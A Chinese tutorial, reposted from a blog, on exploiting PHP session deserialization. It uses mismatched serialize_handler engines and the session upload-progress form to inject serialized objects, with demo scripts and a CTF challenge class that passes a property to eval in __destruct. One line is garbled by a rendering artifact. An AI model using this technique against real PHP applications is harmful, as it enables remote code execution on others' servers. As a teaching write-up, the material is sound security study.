PHP session的反序列化你了解吗

吾爱主题 阅读:152 2022-11-04 14:54:00 评论:0

session反序列化的漏洞是由三种不同的反序列化引擎所产生的的漏洞

其中

?
1 session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

若使用如下设置:

?
1 2 3 4 5 <?php //ini_set('session.serialize_handler', 'php'); //ini_set("session.serialize_handler", "php_serialize"); ini_set ( "session.serialize_handler" , "php_binary" ); phpinfo();

则改变了序列化的引擎

save_path则是session的存放路径 我们可以通过改变ini_Set来查看不同引擎下的序列化的类型

三种引擎的存储格式:

?
1 2 3 php : a|s:3: "wzk" ; php_serialize : a:1:{s:1: "a" ;s:3: "wzk" ;} php_binary : as :3: "wzk" ;

漏洞产生在于

php引擎的存储格式是键名 |serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。
session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。

所以如果存在两种不同的引擎,就可以利用session_start()的自动反序列化,把我们想要传输的数据传输到服务器中:

eg:

?
1 2 3 4 5 <?php ini_set ( "session.serialize_handler" , "php_serialize" ); session_start(); $_SESSION [ 'swaggyp' ] = $_GET [ 'a' ]; echo var_dump( $_SESSION );

代码1:用来保存在本地一个session

代码2:

?
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ini_set ( 'session.serialize_handler' , 'php' ); session_start(); echo var_dump( $_SESSION ); class student{      var $name ;      var $age ;      function __wakeup()      {          // TODO: Implement __wakeup() method.          echo "wzk" . $this ->name;      } }

用于读取session然后进行反序列化 若wakeup方法被调用则说明反序列化成功

?
1 2 3 4 5 6 7 8 9 10 <?php class student{      var $name ;      var $age ; } $a = new student(); $a ->nage =  "swaggyp" ; $a ->age = "1111" ; echo serialize( $a ); //O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}

该代码用于生成一个一个序列

参考于:

生成后,在1中传入这段序列化的值并在开头加入 | 则在第二个文件被解析的时候,就会把|后的内容直接当成一个类去解析 实现我们的目的

成功了

php 这个session.serialize_handler 将 | 后的字符串反序列化,导致产生恶意对象。

upload过程中会产生session,存在一个键值对的值为filename(可控),如果filename被我们修改为|+序列化对象字符串(特殊字符记得转义),filename |后的内容就会被认为是序列化的内容,进而反序列化产生恶意对象(实际上PHP中session是写到文件中的,我们暂且忽略这一中间步骤对此处并无影响),在对象自毁时去执行__destruct()内的语句

?
1 2 3 4 5 <form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>      <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />      <input type =“ file” name =“ file” />      <input type =“ submit” /> </ form>

S E S S I O N 中 的 键 值 就 会 为 _SESSION中的键值就会为 S​ESSION中的键值就会为_SESSION[“upload_progress_ryat”],在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler选项设置。 这意味着,如果在脚本中设置了不同的serialize_handler,那么可以导致注入任意session数据

题目:

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php //A webshell is wait for you ini_set ( 'session.serialize_handler' , 'php' ); session_start(); class OowoO {      public $mdzz ;      function __construct()      {          $this ->mdzz = 'phpinfo();' ;      }      function __destruct()      {          eval ( $this ->mdzz);      } } if (isset( $_GET [ 'phpinfo' ])) {      $m = new OowoO(); } else {      highlight_string( file_get_contents ( 'index.php' )); } ?>

构造登录框和payload

总结

本篇文章就到这里了,希望能够给你带来帮助,也希望您能够多多关注服务器之家的更多内容!

原文链接:https://blog.csdn.net/weixin_45782091/article/details/123724811

可以去百度分享获取分享代码输入这里。
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

【腾讯云】云服务器产品特惠热卖中
搜索
标签列表
    关注我们

    了解等多精彩内容